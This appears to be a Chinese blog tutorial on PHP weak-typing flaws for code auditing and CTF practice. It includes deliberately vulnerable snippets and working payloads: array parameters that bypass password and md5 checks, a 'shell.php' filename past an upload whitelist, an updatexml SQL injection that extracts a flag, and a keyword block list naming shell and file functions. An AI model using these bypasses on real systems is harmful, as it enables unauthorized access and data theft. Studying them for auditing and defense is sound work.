PHP代码审计基础:PHP弱类型

本文介绍了PHP中的弱类型特性,包括变量类型、操作之间的比较,如empty()与isset()的用法,以及在CTF挑战中的常见应用。重点讨论了字符串与数字的比较,如何利用md5()、strcmp()、in_array()进行绕过或判断,并通过实例展示了array_search()在特定情况下的行为。最后提到了switch语句在整数匹配上的陷阱。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

变量类型

  • 标准类型:布尔型、整型、浮点、字符
  • 复杂类型:数组、对象
  • 特殊类型:资源

操作之间的比较

  • 字符串与数字
  • 字符串与数组
  • 数字与数组
  • 数字+e+数字

以上几点都包含在下面的代码中了:

<?php

# 字符串与数字
var_dump(0=="admin");   # True
var_dump(0=="1admin");  # False
var_dump(0=="admin1");  # True

# 字符串与数组
$arr = array();
var_dump("0"==$arr);    # False

# 数字与数组
var_dump(0==$arr);      # False

# xxexx
var_dump(0e123456==0e654321);   # True
var_dump(1e1==10);      # True
empty()与isset()
  • 变量为:0,“0”,null,’’,false,array()时,使用empty函数,返回的都为True
  • 变量未定义或者为null时,isset函数返回的都是faluse,其他都为true
<?php

$a = 0;
$b = null;
$c = '';

echo '<h2>empty</h2>';
var_dump(empty($a));
var_dump(empty($b));
var_dump(empty($c));

echo '<h2>isset</h2>';
var_dump(isset($a));
var_dump(isset($b));
var_dump(isset($c));

运行结果:
在这里插入图片描述

md5()

这个函数在CTF中还是比较常见的,一般就是一个if判断,两个用户可控的值传进来,经过md5()加密,对比加密后的结果,相等就输出flag,不等就终止程序。
在这里插入图片描述

<?php
error_reporting(0);
$arr1 = array('test1');
$arr2 = array('test2');
echo '<h1>数组绕过md5函数</h1>';
var_dump(md5($arr2)==md5($arr1));
echo '<h1>科学计数法绕过md5函数</h1>/';
var_dump(md5(QNKCDZO)==md5(s155964671a));

运行结果:
在这里插入图片描述

strcmp()

这个函数也是常用作一个判断,如果返回的值为0则程序继续运行,不为0则终止
在这里插入图片描述

<?php
$pwd = "1234567";
if (isset($_GET['pwd'])){
    if (strcmp($_GET['pwd'],$pwd) == 0){
        echo 'success';
    }else{
        echo 'password error !';
    }
}else{
    echo 'Please input password !';
}

这里应该是要GET传一个1234567才可以,但是这个函数同样可以通过传一个数组进行绕过

payload:

?pwd[]=
# 运行结果
success
in_array()

这个函数一共有三个参数,最关键的就是死三个参数,如果没有设置,则默认为进行松散比较,这就很危险了呀,这里用一道当年的CTF题来加深一下对这个函数的理解:

<?php
class Challenge{
    const UPLOAD_DIRECTORY = './solutions/';
    private $file;
    private $whitelist;
    public function __construct($file)
    {
        $this->file = $file;
        $this->whitelist=range(1,24);
    }
    public function __destruct()
    {
        // TODO: Implement __destruct() method.
            //这里要特别注意!!!
        if (in_array($this->file['name'],$this->whitelist)){
            move_uploaded_file(
                $this->file['tmp_name'],
                self::UPLOAD_DIRECTORY.$this->file['name']
            );
        }
    }
}
$challenge=new Challenge($_FILES['solution']);
?>

加注释下的哪一行是关键,程序将文件名取出来与白名单进行对比,符合1~24就上传成功,不符合就上传失败,这里就运用到了前面的字符串与数字进行比较,所以payload就出来了:

Filename:1shell.php

CTF实例

index.php

<meta charset="UTF-8">
<?php
error_reporting(0);
include 'config.php';
$conn = new mysqli($servername,$username,$password,$dbname);
if ($conn->connect_error){
    die("连接失败");
}
$sql="SELECT  COUNT(*) FROM users";
$whitelist = range(1,6);
$result = $conn->query($sql);
if ($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1,$row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id,$whitelist)){
    die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if ($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "<center><table border='1'>";
    foreach ($row as $key=>$value){
        echo "<tr><td><center>$key</center></td><br>";
        echo "<td><center>$value</center></td></tr><br>";
    }
    echo "</table></center>";
}
else{
    die($conn->error);
}
?>

config.php

<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "weaktype";

function stop_hack($value){
    $pattern =
        "insert|delete|or|concat|concat_ws|group_concat|join|floor|
        \/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|
        file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach ($back_list as $hack){
        if (preg_match("/$hack/i",$value)) {
            die("$hack detected");
        }
    }
    return $value;
}
?>

db.sql

create database weaktype;
use weaktype;
create table users (
                       id int(6) unsigned auto_increment primary key,
                       name varchar(20) not null,
                       email varchar(30) not null,
                       salary int(8) unsigned not null );INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

先来正常访问一下index吧:
在这里插入图片描述
进行and 1=1 / and 1=2测试,页面返回不正常,返回去看代码,它的过滤还是比较严格的,但唯独漏下了updatexml()make_set()函数,所以我们只能用他俩结合代码中in_array()未设置第三个参数,来进行一个绕过注入:

payload

?id=3 and updatexml(1,make_set(3,'~',(select flag from flag limit 1)),1)

在这里插入图片描述

相关链接

array_search()

这是它的用法
在这里插入图片描述

CTF实例

<?php
if (isset($_GET['test'])){
    if(!is_array($_GET['test'])){
        exit();
    }else{
        $test=$_GET['test'];
        for($i=0;$i<count($test);$i++){
            if($test[$i]==="admin"){
                echo "error";
                exit();
            }
            $test[$i]=intval($test[$i]);
        }
        if(array_search("admin",$test)===0){
            echo "flag";
        }
        else{
            echo "false";
        }
    }
}else{
    echo 'Please input array test';
}
?>

传入test[]=0,那么test就是一个数值型的数组,即 Array ( [0] => 0 ) ,array_search() 在test数值型数组中查找 “admin” 这个字符串的时候,首先会把字符串转换为数字,转换规则具体看本文第二个示例,所以 “admin” 变成了0,array_search()如果查找成功就会返回其键名,test数组中0的键名是0,而0===0,所以输出flag。

payload

?test[]=
swich

先来看一段代码:

<?php

$a = 0;
switch ($a){
    case $a >= 0:
        echo 0;
        break;
    case $a >= 10:
        echo 1;
        break;
    default:
        echo 2;
        break;
}

乍一看,好像是输出0,但其实它是输出1的。。。

PHP中的swich是有点坑的,它匹配的是case中表达式的整数值,而第一个表达式**$a >= 0**,结果为Ture,case自动将它转换为int类型,也就是1,所以就匹配不上了,而第二个case的结果是false,int类型也就是0,正好匹配上了,所以会输出1。

运行结果:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值